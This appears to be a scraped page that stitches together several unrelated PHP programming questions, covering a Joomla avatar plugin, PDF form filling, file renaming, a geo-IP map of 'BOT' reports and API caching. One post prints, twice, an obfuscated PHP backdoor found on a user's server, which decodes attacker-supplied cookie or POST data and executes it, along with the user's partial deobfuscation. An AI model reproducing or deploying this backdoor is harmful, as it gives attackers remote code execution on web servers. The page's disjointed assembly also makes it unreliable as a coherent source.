I'm pretty new at this but I want to learn...
I have a GPL plugin (for Joomla 1.6 / JomSocial 2.6) that I would like to use (w/ Joomla 2.5 & JomSocial 2.8) but it will need some fixing or updating. It should check for a default avatar and replace it with a random one. It installed but doesn't work.
How can I verify it's getting the data it needs?
I think one problem might be no file listed in the database is default. It looks like this plugin expects one to be there.
function onUserLogin($user, $options)
{
$juser = CFactory::getUser($user);
$curavatar = $juser->getThumbAvatar();
$gender = $juser->getInfo($this->params->get( 'genderfield' , 'FIELD_GENDER' ));
if($this->compareEnd("default.jpg", $curavatar) || $this->compareEnd("user.png", $curavatar) || ($this->contains('minisocialgender_images',$curavatar) && $this->params->get( 'reassign' , '0' )))
{
The script is only about 100 lines so I hope someone can point out some obvious problems.
Thanks for looking and any help you can offer. Here's the rest of the script...
// no direct access
defined('_JEXEC') or die('Restricted access');
jimport( 'joomla.plugin.plugin' );
require_once( JPATH_BASE . DS . 'components' . DS . 'com_community' . DS . 'libraries' . DS . 'core.php');
class plgUserMiniSocialGender extends JPlugin
{
function plgUserMiniSocialGender(& $subject, $config)
{
parent::__construct($subject, $config);
}
//function onLoginUser($user, $options)
function onUserLogin($user, $options)
{
//$juser = $this->getJomSocialUser($user);
$juser = CFactory::getUser($userid);
//$curavatar = $juser->getAvatar();
$curavatar = $juser->getThumbAvatar();
$gender = $juser->getInfo($this->params->get( 'genderfield' , 'FIELD_GENDER' ));
//$gender = $user->getInfo('FIELD_GENDER');
if($this->compareEnd("default.jpg", $curavatar) || $this->compareEnd("user.png", $curavatar) || ($this->contains('minisocialgender_images',$curavatar) && $this->params->get( 'reassign' , '0' )))
{
if($gender)
{
$maleurl = JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'male' . DS;
$femaleurl = JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'female' . DS;
$usermodel =& CFactory::getModel('user');
if($this->params->get( 'maletype' , 'Male' ) == $gender)
{
if($this->contains("male", $curavatar))
return;
}
if($this->params->get( 'femaletype' , 'Female' ) == $gender)
{
if($this->contains("female", $curavatar))
return;
}
if($gender == $this->params->get( 'maletype' , 'Male' ))
{
$files = $this->getDirItems($maleurl);
$random = rand ( 0 , (count( $files) - 1));
JFile::copy($maleurl . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS .'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'male' . '.png');
JFile::copy($maleurl . 'thumb' . DS .$files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'male' . '.png');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'male' . '.png', 'avatar');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'male' . '.png', 'thumb');
}
elseif($gender == $this->params->get( 'femaletype' , 'Female' ))
{
$files = $this->getDirItems($femaleurl);
$random= rand ( 0 , (count( $files) - 1) );
JFile::copy($femaleurl . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'female' . '.png');
JFile::copy($femaleurl . 'thumb' . DS . $files[$random], JPATH_SITE . DS . 'plugins' . DS . 'minisocialgender' .DS . 'user' . DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'female' . '.png');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . $juser->id . 'female' . '.png', 'avatar');
$usermodel->setImage($juser->id, 'plugins' . DS . 'user' . DS . 'minisocialgender' .DS . 'minisocialgender_images' . DS . 'thumb' . $juser->id . 'female' . '.png', 'thumb');
}
if($this->params->get( 'warnuser' , 1 ))
{
JFactory::getApplication()->enqueueMessage( $this->params->get( 'warnmessage' ));
}
}
}
}
function getDirItems($dir)
{
$files = array();
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir . $file) == "file")
{
$files[] = $file;
}
}
closedir($dh);
}
}
return $files;
}
function compareEnd($end, $fullstring)
{
$StrLen = strlen($end);
$FullStrEnd = substr($fullstring, strlen($fullstring) - $StrLen);
return ($end == $FullStrEnd);
}
function contains($needle, $haystack)
{
$pos = strpos($haystack,$needle);
if($pos)
return true;
else
return false;
}
//function getJomSocialUser($user)
//{
// $user2 =& JFactory::getUser();
// $userid = $user2->id;
// return CFactory::getUser($userid);
//}
}
Related
The file name is 7bcwj0cb.php, and the contents are very weird, was I hacked?
There were like 5 other files with similar gibberish
<?php
$pgmvyzp = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
function kfzbo($maczjg, $bxoyyiw, $iuufylj)
{
return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
}
function ngsojvo($maczjg, $tafqe)
{
return #$maczjg[10]($maczjg[2], $tafqe);
}
function zhozxyb($maczjg, $tafqe)
{
$lvjxhjh = $maczjg[4]($tafqe) % 3;
if (!$lvjxhjh) {
$obfgnob = $maczjg[0];
$xmsae = $obfgnob("", $tafqe[1]($tafqe[2]));
$xmsae();
exit();
}
}
$uugksy = ngsojvo($maczjg, $uugksy);
zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>
It looks like your post is mostly code; please add some more details.
It looks like your post is mostly code; please add some more details.
I was working on decoding this code slightly, my original code on my server was this :
<?php
$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
{
return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
}
function rpobw($gsubnr, $wfqhr)
{
return #$gsubnr[10]($gsubnr[1], $wfqhr);
}
function przvg($gsubnr, $wfqhr)
{
$gltnue = $gsubnr[4]($wfqhr) % 3;
if (!$gltnue) {
$qebvtmo = $gsubnr[0];
$yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
$yxubf();
exit();
}
}
$jeswg = rpobw($gsubnr, $jeswg);
przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf
I have ended up decoding it so far to this
$array = array_merge($_COOKIE,$_POST);
foreach ($array as $key => $value) {
function ilkbnxf( $key, $length) {
return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
}
function toBinary( $wfqhr) {
return #pack('H*', $wfqhr);
}
function przvg( $wfqhr) {
$gltnue = count($wfqhr) % 3;
if (!$gltnue) {
var_dump($wfqhr);
// $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
// $yxubf();
// exit();
}
}
$value = toBinary( $value);
przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));
Now I see some few issues,
I dont think this code will run due to these.
First of all, the function is being declared in a foreach loop, and as far as I know you cannot declare functions in a for loop due to not being able to declare functions multiple times (in the loop it will be declared more than once).
Secondly, the $wfqhr variable, from the code below, after running it a few times, this variable does not end up making a proper function as required in the create_function, which e.g would send the cookie somewhere or etc. The script does attempt to obfuscate the cookie though.
Also, for most of the cookie and post, I have tried, the if statement does not get run.
I cant figure out what this script is for or what it is meant to do, and if somebody else could help out in further figuring out the script, that would be quite helpful.
this is my first question here so please excuse if this is incomprehensible.
I've got a little web tool on PHP for registering examinees to an examination. At the end I want to fill a PDF form with FPDM with data from the database in a foreach. The frist file which is created is perfect. The others are created but when I want to open with Acrobat or Chrome the loading is failed. I can fill every set of data separately but when I call the filling function twice or multiple times, the second file can not be opened.
MS Edge is able to open the currupt files but doesn't show the fonts correctly. So FPDM seems to fill all forms correctly but the files are somehow broken.
I'm searching for solutiones sincs days but no idea where is the problem. The code should be correct.
Can anybody help??
Here is the code:
require_once('libs/fpdm.php');
$statement = $pdo->prepare("SELECT * FROM `examinations` WHERE uid = :uid");
$result = $statement->execute(array('uid' => $_GET['prepareExamination']));
$examinationToPrepare = $statement->fetch();
$statement = $pdo->prepare("SELECT * FROM `examinees` WHERE examination = :examination");
$result = $statement->execute(array('examination' => $_GET['prepareExamination']));
$examinees = $statement->fetchAll();
$i = 1;
function mergePDF($template, $fields, $outfilename) {
header("Content-type:application/pdf");
header("Content-Disposition:attachment;filename=" . basename($outfilename) . "");
$pdf = new FPDM($template);
$pdf->Load($fields, true);
$pdf->Merge();
$pdf->Output($outfilename, "F")
}
foreach ($examinees as $examinee => $data) {
if ($examinationToPrepare['department'] == 1) {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'FirstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'firstName')) . ' ' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'graduation')) . "\n" . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['group' . strval(intval($data['subDepartment']) - 1) . 'SecondExaminer'], 'function'));
} else {
$examiner1Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'lastName'));
$examiner1Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['firstExaminer'], 'function'));
$examiner2Name = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'firstName')) . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'lastName'));
$examiner2Description = utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'graduation')) . '\n' . utf8_encode(findByUid($_SESSION['examiners'], $examinationToPrepare['secondExaminer'], 'function'));
}
$fields = array(
'name' => utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']),
'graduierung' => utf8_encode(findByUid($_SESSION['graduations'], $data['graduation'], 'name')) . ' ' . utf8_encode(findByUid($_SESSION['systems'], $data['system'], 'name')),
'ort' => utf8_encode($examinationToPrepare['location']),
'registrierung' => utf8_encode($examinationToPrepare['registration']),
'datum' => utf8_encode($examinationToPrepare['date']),
'pruefer1' => $examiner1Name,
'pruefer1-grad' => $examiner1Description,
'pruefer2' => $examiner2Name,
'pruefer2-grad' => $examiner2Description
);
if (!file_exists('documents/' . utf8_encode($examinationToPrepare['title']))) {
mkdir('documents/' . utf8_encode($examinationToPrepare['title']), 0777, true);
}
if ($examinationToPrepare['department'] == 1 && !file_exists('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'))) {
mkdir('documents/' . $examinationToPrepare['title'] . '/' . findById($_SESSION['subDepartments'], $data['subDepartment'], 'name'), 0777, true);
}
mergePDF('pdf/Urkunde1.pdf', $fields, 'documents/' . $examinationToPrepare['title'] . '/' . ($examinationToPrepare['department'] == 1 ? findById($_SESSION['subDepartments'], $data['subDepartment'], 'name') . '/' : '') . utf8_encode($data['firstName']) . ' ' . utf8_encode($data['lastName']). '.pdf');
$i++;
}
I have the following photos:
product-1.jpg
product-2.jpg
product-3.jpg
product-4.jpg
I have the following request (came from jQuery's sortable):
action=save&photos=photo[]=4&photo[]=2&photo[]=3&photo[]=1
I've tried this:
<?php
if($_POST) {
if($_POST['action'] == 'save') {
parse_str($_POST['photos'], $photos);
$id_new = 1;
foreach($photos['photo'] as $id) {
rename(dirname(__FILE__) . '/product-' . $id . '.jpg', dirname(__FILE__) . '/product-' . $id_new . '.jpg');
$id_new++;
}
}
}
?>
But rename deletes some of the photos.
You have photos ids 4, 3, 2, 1 and you are renaming the files in the reverse order so:
if you rename 4 to 1 then 1 is overwritten and 4 disappear
if you rename 3 to 2 then 2 is overwritten and 3 disappear
That's why you remain with less files.
As #MVG1984 suggested in a comment you can rename those files into another folder like:
$path = dirname(__FILE__);
$tmpPath = $path . '/tmp';
mkdir($tmpPath);
$id_new = 1;
foreach($photos['photo'] as $id) {
rename($path . '/product-' . $id . '.jpg', $tmpPath . '/product-' . $id_new . '.jpg');
$id_new++;
}
for ($i = 1; $i < $id_new; $i++) {
rename($tmpPath . '/product-' . $i . '.jpg', $path . '/product-' . $i . '.jpg');
}
rmdir($tmpPath);
<?
$dir4 = "report/";
$dh4 = opendir($dir4);
$giCity = geoip_open("geoip/GeoLiteCity.dat", GEOIP_STANDARD);
while (false !== ($filename4 = readdir($dh4))) {
$files4[] = $filename4;
sort($files4);
}
for ($p = 2; $p < count($files4); ++$p){
${"name" . $p} = pathinfo($files4[$p], PATHINFO_FILENAME);
${"idset" . $p} = substr("${"name" . $p}", 7, strpos("${"name" . $p} ", '-'));
${"soubor" . $p} = fopen("report/$files4[$p]", "r");
${"ipset" . $p}=fgets(${"soubor" . $p});
${"ipset2" . $p} = substr("${"ipset" . $p}", strpos("${"ipset" . $p}", ','));
${"ipset" . $p}= str_replace("${"ipset2" . $p}", "", "${"ipset" . $p}");
${"stav" . $p}=fgets(${"soubor" . $p});
${"ver" . $p}=fgets(${"soubor" . $p});
${"group" . $p}=fgets(${"soubor" . $p});
${"ipl" . $p}=fgets(${"soubor" . $p});
${"hw" . $p}=fgets(${"soubor" . $p});
${"stavh" . $p} = substr("${"stav" . $p}", 0, strpos("${"stav" . $p}", '['));
${"stav" . $p}= str_replace("${"stavh" . $p}", "", "${"stav" . $p}");
fclose(${"soubor" . $p});
//MAP loading START
${"record" . $p} = geoip_record_by_addr($giCity, ${"group" . $p});
${"lat" . $p} = ${"record" . $p}->latitude;
${"long" . $p} = ${"record" . $p}->longitude;
${"relace" . $p} = fopen("map.dat", "a");
${"text1" . $p} = '<script>';
${"text2" . $p} ='var showPosition = function (position) {';
${"text3" . $p} = 'var userLatLng = new google.maps.LatLng('."${"lat" . $p}".','."${"long" . $p}".');';
${"text4" . $p} = ' var marker = new google.maps.Marker({ position: userLatLng,title: \'BOT\',map: map });} ';
${"text5" . $p} = 'navigator.geolocation.getCurrentPosition(showPosition); </script>';
fwrite(${"relace" . $p},"\n${"text1" . $p}");
fwrite(${"relace" . $p},"\n${"text2" . $p}");
fwrite(${"relace" . $p},"\n${"text3" . $p}");
fwrite(${"relace" . $p},"\n${"text4" . $p}");
fwrite(${"relace" . $p},"\n${"text5" . $p}");
fclose(${"relace" . $p});
?>
This Code works only if variable is static ${"group" . $p}->$group="xxxxxxx"; but when is reading by for it will sucessfully echo but will not work with that function ${"group" . $p} function is acting like nothing in that variable.function dont want accept array as string and this not too group[$p] but is not empty ,i dont know why function is accepting only variables like $group = "54.112.55.111"; in array is same but its not working
I currently have this code. It fetches the json data file for each hour and the whole day's file from an api. It then caches the results for faster fetching. It currently takes ~10s to fetch all the files and use them (no caching), it takes ~1 to execute with a cache but it takes ~80s with the method below (with caching) when the cache is stale. There is other code obviously being run on this but this is the slow bit. $this->hours has 24 elements.
Is there a faster way to get the files & cache them?
/**
* Get the weather data from forecast.io
* #return array The overall weather data
*/
public function getData($kernelDir)
{
$apiSite = 'https://api.forecast.io/forecast/';
$url = $apiSite . $this->apiKey . '/' . $this->latitude . ',' . $this->longitude;
if (!file_exists($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude))
{
$weatherFile = #file_get_contents($url);
$fp = fopen($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude, 'w+');
fwrite($fp, $weatherFile);
fclose($fp);
}
else {
$weatherFile = #file_get_contents($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude);
}
$this->weatherData['day'] = #json_decode($weatherFile, true);
$this->getHours();
foreach ($this->hours as $normal => $unixTimestamp)
{
$url = $apiSite . $this->apiKey . '/' . $this->latitude . ',' . $this->longitude . ',' . $unixTimestamp;
if (!file_exists($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude . '.' . $unixTimestamp))
{
$weatherFile = #file_get_contents($url);
$fp = fopen($kernelDir . '/cache/api/' . $this->latitude . '.' . $this->longitude . '.' . $unixTimestamp, 'w+');
fwrite($fp, $weatherFile);
fclose($fp);
}
else {
$weatherFile = #file_get_contents($kernelDir . '/cache/api/' . $this->latitude . ',' . $this->longitude . ',' . $unixTimestamp);
}
$this->weatherData['time'][$normal] = #json_decode($weatherFile, true);
}
return $this->weatherData;
}